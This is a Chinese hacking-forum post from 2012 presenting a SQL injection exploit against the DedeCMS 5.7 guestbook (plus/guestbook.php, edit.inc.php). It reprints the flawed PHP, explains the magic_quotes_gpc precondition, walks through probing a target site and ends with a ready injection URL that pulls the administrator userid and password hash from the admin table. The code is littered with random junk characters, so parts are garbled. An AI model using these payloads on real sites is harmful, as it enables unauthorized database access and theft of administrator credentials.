找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3954|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7& I/ p9 B+ t. r5 Z- I& i/ M

! h! B) b* K& b( l/ Z7 R漏洞文件edit.inc.php具体代码:
8 J8 x, [! d3 C
% o" f4 a* X, c8 k* E7 M& c. J< ?php  
6 P* a: q7 r3 }& [6 D
: j0 ^  b5 @2 C7 X' [* nif(!defined('DEDEINC')) exit('Request Error!');  
! g' }4 n# V# M8 c& l7 v7 I/ c  V3 q3 ]* I" S
   
; G% m9 I* [# n# n+ p# v/ w  ]2 x7 s
  G: G9 d$ s& `/ pif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
( H& _1 V; w, v& r/ O$ V# B
3 d& O" k8 h+ telse $GUEST_BOOK_POS = "guestbook.php";  & e8 d! ?4 }3 v+ Z/ K
/ M  V' B7 h( \  H# R! \
   6 Z9 l1 H: `6 e% W! x2 L  i
$ u# o. w4 b( e- [0 {
$id = intval($id);  ) ]* D/ `0 S+ k( E. r) B) C- L
7 h# {! y8 b+ d6 K3 P. g
if(empty($job)) $job='view';  
6 @2 B* v6 t, @2 |
! |1 \' s; ?7 @1 m8 ^5 n) d   
: G) E& V9 _. i% `. u/ H$ Y
0 v- v+ G7 G% d) z1 R3 Xif($job=='del' && $g_isadmin)  1 r+ F2 t7 S! u" [. H1 a" _
7 l- y/ P% E; ~& \+ i- @2 x
{  
; V% O: j8 d3 m* A6 p7 O2 r) b9 C; o6 v7 C( D, n: |0 N
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  3 U. k5 ^8 N  g+ c  J8 y

3 e1 V0 _+ }6 \4 z; IShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
" l# j# N5 K! k* U9 Y' Q2 l1 b$ {, |4 E5 M5 ^3 i7 ?% M0 \  S/ h- P
exit();  $ ?3 v. S% F  |9 [. R2 s1 G1 z

' [8 t9 N; h5 D+ @}  " `- o; ~9 s3 P) z# [: m0 f

+ i) F% A' B" W  Jelse if($job=='check' && $g_isadmin)  
# k3 ^# O" I; }% ^1 |/ v% q) W: v  k1 n) R& m6 E4 U
{  
6 K% `" G' u, U8 t2 P: O% N. ~0 @* [9 y& k- [
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
4 S/ B$ v1 r9 x: m5 J/ b
. i# {* I! k; T+ v3 eShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  ) y, }6 I& h# `, I) }; ]6 J: m

, a0 @1 f0 @$ ?5 a4 |/ f' I5 c3 kexit();  
5 M# C. F- W+ B: q7 z0 F, d; _
$ T% N. f& _* @: }3 f}  
  v; T& i+ U4 _: m: H: L. \; w7 b. U4 q( j1 c3 X7 \0 v3 w
else if($job=='editok')  8 ]; l* l7 d. S) z8 N  ~/ z
6 K5 i( n% Z9 t2 t2 l
{  
% m1 X) u0 E$ u7 |. D
5 [/ O3 |9 @# x8 N3 w# f$remsg = trim($remsg);  
& S- J2 a- [& ?2 W" a% i4 W' l5 h4 P3 T  _
if($remsg!='')  
- y* G, d9 b4 W% g( n6 U; _/ Y$ n1 g# i
{  
5 j& q: a4 L! m5 G  m# p( e5 F& l# Y$ I5 n
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
( W" o8 F# p7 v9 F- J8 M! N! z, V6 M) U- V3 X; ]: v
if($g_isadmin)  
8 i, ]  w& W2 B  _1 D$ c4 P; I; v$ d
{  + C5 Z2 l8 E$ d# {! Z$ P1 w
) c$ d; Y) s: |  W+ c' d
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  5 z0 b2 w1 z# L9 u1 w0 g3 w
  T6 l( R( _, W! V
//$remsg <br /><font color=red>管理员回复:</font> }  - N1 J; l6 Y' N8 x

& M  M* ^: u/ u& v; b) A- O1 F/ qelse
; I! t% ~% ^5 y3 Z! D+ J* D0 L3 e; Q% i9 |( N6 A0 w
{  
' A! T& T& p$ ^4 Z9 p) L
" k1 U+ y% d3 N6 R8 D1 d2 A$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  8 c1 |. a( }0 t  V
5 x0 l& ^0 S% D* P4 O
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  4 {5 J! [2 L+ ]3 a

" g+ E0 ^9 k( o& _( e$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
8 j. t. W# Q2 [2 l: \
6 b6 z3 p3 F8 r- k' |. k# q! A) ]9 X$msg = $oldmsg.$remsg;  
6 }3 n) d$ ]5 X8 R( w3 i" ?/ Y- w* a
}  
2 H, e0 \' X9 m+ n
  N. l  I; ^$ H0 ]+ p6 Y}  5 j6 D& @* U! t: P- \

9 s% ?) J* _: `  E' x3 F& x//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
0 T' U# o, W$ M+ L" @* i3 u1 `& _% q# [  y$ g3 I
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  9 i& p/ x2 A" p3 x. Q7 @

! W' k: x) `4 }- b  y( M$ KShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
( L2 V$ _2 Y. N- t* H( n  }" V6 ^# ~0 m$ C
exit();  
; B( [% i: h- c1 B: _# C0 W6 _! m+ l4 ]0 ~! X& w
}  
8 F6 i- `0 n. ~; T) O/ J
) E0 R/ V! ?" n8 I# y. W  h//home:www.errs.cc  
1 X5 E# T( [+ b1 H, K( h( r7 o* j' }" @6 W2 M
if($g_isadmin)  4 T4 H% I5 G7 x) e* n5 c5 x

1 U) ?1 @5 [& I' I9 d{  
$ ]2 D9 x. y/ l: ]1 ~0 A7 D- X2 B" R4 f, R6 h6 X. b( d3 L) S
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  6 w8 G- r2 E, A9 G+ I

+ U. c# U6 i5 F9 J: v* i) J9 Yrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
3 \. ]& [$ y: l2 U, ~* e  R- y9 K2 n, v& w7 ^9 t$ M$ {
}  % y1 w9 V% W/ K

8 J# ]8 L6 _/ p4 [# |3 aelse
( F0 Q# a" o4 m/ I  [+ [4 @/ `  H
{  : m. O) b; _  P, F
  C: m! h, R  n) r, V& |5 X$ n+ h1 \
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  ; G: Y' T" e& J* H

0 b5 j# G) l+ j/ c4 Nrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
2 R3 r& D4 u* y: j$ {5 C7 j4 z
! T: I: R! f* W$ @2 y} 漏洞成功需要条件:% N3 D3 I3 v* h' U; u
1. php magic_quotes_gpc=off: ~3 V3 o1 V: t4 E( |( Q! v
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。; |# P. ~! o( d5 H7 I" i2 }. S  i
: D7 Z$ u. I" ^7 [
怎么判断是否存在漏洞:# d5 ]* s2 V1 t8 Y8 `
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
* q- p& P7 X$ [. e4 N然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
  I7 [( _$ a( }& D! e1 K访问:" z6 p( ~; Y% E# d  u3 t

  J) B9 Q4 R5 j- T7 twww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了1 z  ?$ B& {+ ?8 N# k- V9 l+ {
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证8 [  X  A" k+ _, e- e+ k: s

- t- f8 C/ Q: `
5 j" U# ]2 [* X3 @& X- b明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
' u- z, e- ~) Y8 z如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。3 \2 `, n- R+ r) Y& }3 T
那么再次访问
8 p& R( i- T' C) a6 T
& ?- H0 F1 r  ?- [6 p$ h% S: Owww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().5 Q6 q  I0 N" `% P: U. S8 e# S" B, n

  M) L: |; M. G/ r" \6 @* |% H% ~( ^大概利用就是这样,大家有兴趣的多研究下!!" G6 Q6 }  P7 {5 c% \/ V
6 d; I$ a9 U3 \2 {7 V( Q
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!" P7 g( ?2 K0 c+ b. u

3 M5 A* r3 Q/ a- ^5 @view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表